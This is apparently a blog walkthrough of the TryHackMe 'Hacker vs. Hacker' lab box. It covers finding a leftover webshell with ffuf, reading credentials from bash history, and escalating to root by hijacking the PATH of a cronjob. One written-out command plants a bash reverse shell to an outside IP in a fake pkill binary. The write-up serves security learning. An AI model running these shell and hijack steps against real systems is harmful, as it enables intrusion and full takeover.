Hacker vs. Hacker TryHackMe Walkthrough

introduction

Hello guys back again with another walkthrough this time we are going to be tackling Hacker vs. Hacker from TryHackMe. The box was rated easy but you could have a hard time if you came in with an attacker’s mindset. After performing a nmap scan you discover that port 80 HTTP is running a web server which is a simple website that allows users to upload their CV’s. After numerous failed attempts of trying a file upload validation bypass to gain RCE, I decided to thing about the engagement as a post compromise. An attacker had already gotten initial access on the system. If you look at the upload.php source code carefully you’ll discover there’s a way of uploading shell by bypassing the PDF check. I decided to FUZZ the cvs directories for possible webshells. And by luck i found one webshell left by the attacker. Sysadmins probably didn’t do a proper cleanup job. I did a parameter fuzzing using fuff and using the identified parameter I gained access to the system through remote code execution. Then we discover we have the ability to read .bash_history of the Lachlan user. We extract the user’s password and gain access to the system as him. Lastly we escalate our privileges to root by performing a path hijack due to an improper implementation in a cronjob running as root. Without much say lets jump in

As always we start of with a nmap scan of the box and looking at the results below we have two services that are running

1. SSH (secure shell) which normally requires authentication
2. HTTP (Hyper Text Transfer protocol) Normally a website

Since HTTP has a larger attack surface compared to SSH that’s where I begun doing my enumeration. On opening the website we get a standard webpage

Looking though the webpage we find there’s a way we can upload CV’s

We always know that if a website has file upload capability many time they are set up correctly but by chance sometimes you might be lucky and discover a misconfigured website

Before testing the file upload functionality i decided to first leave some automated enumeration running in the background

First i performed directory brute forcing using feroxbuster a tool that has started growing on me . feroxbuster is a tool designed to perform Forced Browsing. Forced browsing is an attack where the aim is to enumerate and access resources that are not referenced by the web application, but are still accessible by an attacker. feroxbuster uses brute force combined with a wordlist to search for unlinked content in target directories. These resources may store sensitive information about web applications and operational systems, such as source code, credentials, internal network addressing, etc…

While directory brute forcing was running i ran a nikto scan. Nikto is a web server security scanner. Nikto is a pluggable web server and CGI scanner written in Perl, using rfp’s LibWhisker to perform fast security or informational checks.

Next I decided to begin testing file upload functionality to see if i could find any security misconfiguration that it might have. I decided to begin by just uploading a plain text file

Looking at the screenshot above we notice that there is some source code disclosure. the application is using strpos() on file extension to determine whether an uploaded file is a pdf.

This check can be easily bypassed by using more that one extension eg. test.pdf.php. This file will be considered as a valid pdf file. To demonstrate this i just build a simple POC below

The $target_file variable is just the filename and echo are just used for debug to see if the bypass worked

Right now our filename is test.php. Running the php script we get an error that only PDF are allowed

Changing the variable $target_file to test.pdf.php and saving the script

Running the script again we can see from the screenshot below the bypass was successful

I tried to reproduce the same bypass on the webserver but it didn’t seem to work.

Then I remembered that this is a post compromise scenario meaning the system might have been patched already from this vulnerability but I started asking myself what if there wasn’t a proper cleanup meaning the hacker might have already uploaded the shell in /cvs directory but the backdoor shell wasn’t deleted during the cleanup. To confirm my suspicions I decided the fuzz /cvs/ directory using ffuf. ffuf is a fast web fuzzer written in Go that allows typical directory discovery, virtual host discovery (without DNS records) and GET and POST
parameter fuzzing.

i used the command

ffuf -u http://10.10.43.161/cvs/FUZZ.pdf.php -w ~/Desktop/git/SecLists/Discovery/Web-Content/common.txt

You wordlist directory might differ slightly. Looking at the screenshot below we get a hit on shell.pdf.php

But we don’t know the parameter that the shell might be using. I decided to fuzz the parameter next

Looking at the screenshot below we got a hit with the parameter cmd

Sweet next I tried execute system commands from burpsuite and it seem to work from the screenshot below

Next step is getting a shell on the box. I set up a netcat listener on port 9001 and used the famous one liner bash reverse shell

The remote system will connect to a HTTP server where I will have hosted the webshell and just pipe it’s contents to bash giving me a reverse shell

shell.sh

I executed the command from burpsute and going back to the netcat listener we have a shell as www-data

Going to the home directory we have one user called lachlan

We can go into his directory and even read user.txt flag

We can now submit the flag and get the points on TryHackMe. Also the .bash_history doesn’t appear empty

I used cat command to read the file and looking at the screenshot below we get some credentials

Trying the last portion of the password for the user Lachlan SSH login we get a successful login

But the SSH session keeps getting terminated after a few seconds this is due to a cronjob that’s running as root

Looking at the cronjob file we notice a vulnerability that leads to remote code execution. The PATH variable is used to determine where exactly the binaries are going to be called from. And the rule is wherever searching for a program we begin from the left most path specified in the PATH variable eg.

For the box the PATH is as below

PATH=/home/lachlan/bin:/bin:/usr/bin

The program will first go to /home/lachlan/bin to search for the binaries followed by /bin and lastly /usr/bin

Since we have read and write privileges on /home/lachlan/bin we can just drop our binary and wherever root runs the cronjob he’ll execute our binary instead of the real binary. But Looking the the cronjob again we notice that some binaries are using absolute paths meaning they cannot be hijacked but pkill is using a relative path

we can just login to the system and upload a malicious binary to /home/lachlan/bin which when executed will give us a root shell. I just logged into the server as Lachlan and executed the below command before being kicked out by the cronjobn

echo "bash -c 'bash -i >& /dev/tcp/10.6.39.23/9001 0>&1'" > bin/pkill ; chmod  +x bin/pkill

Next i did setup a netcat listener on port 9001. The same port i had specified on the reverse shell and waited for a root shell

After a few seconds we get a root shell on the system. Sweet

Next is to get the root flag and submit to TryHackMe

And the box is pretty much done. I hope you enjoyed the walkthrough if so clap for me down below and follow me so that you won’t miss any upcoming walkthroughs.